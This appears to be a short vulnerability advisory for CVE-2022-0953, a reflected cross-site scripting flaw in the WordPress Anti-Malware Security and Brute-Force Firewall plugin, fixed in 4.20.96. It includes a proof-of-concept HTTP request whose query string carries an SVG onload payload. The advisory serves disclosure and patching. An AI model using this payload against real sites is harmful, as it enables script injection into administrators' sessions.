Tittle:
WordPress Plugin Anti-Malware Security and Brute-Force Firewall < 4.20.96 - Reflected Cross-Site Scripting

References:
CVE-2022-0953

Author:
Taurus Omar 

Description:
The plugin does not sanitise and escape the QUERY_STRING before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting in browsers which do not encode characters.

Affects Plugins:
Gotmls - Fixed in version 4.20.96

Proof of Concept:
GET /wp-admin/admin.php?page=GOTMLS_View_Quarantine&a="><svg/oNLoAd=alert(1)> HTTP/1.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: [admin+]

Classification:
Type XSS 
OWASP top 10 A7: Cross-Site Scripting (XSS)
CWE-79

wpScan:
https://wpscan.com/vulnerability/29ab3c7b-58e0-4a72-b7b4-ab12a6d54f5a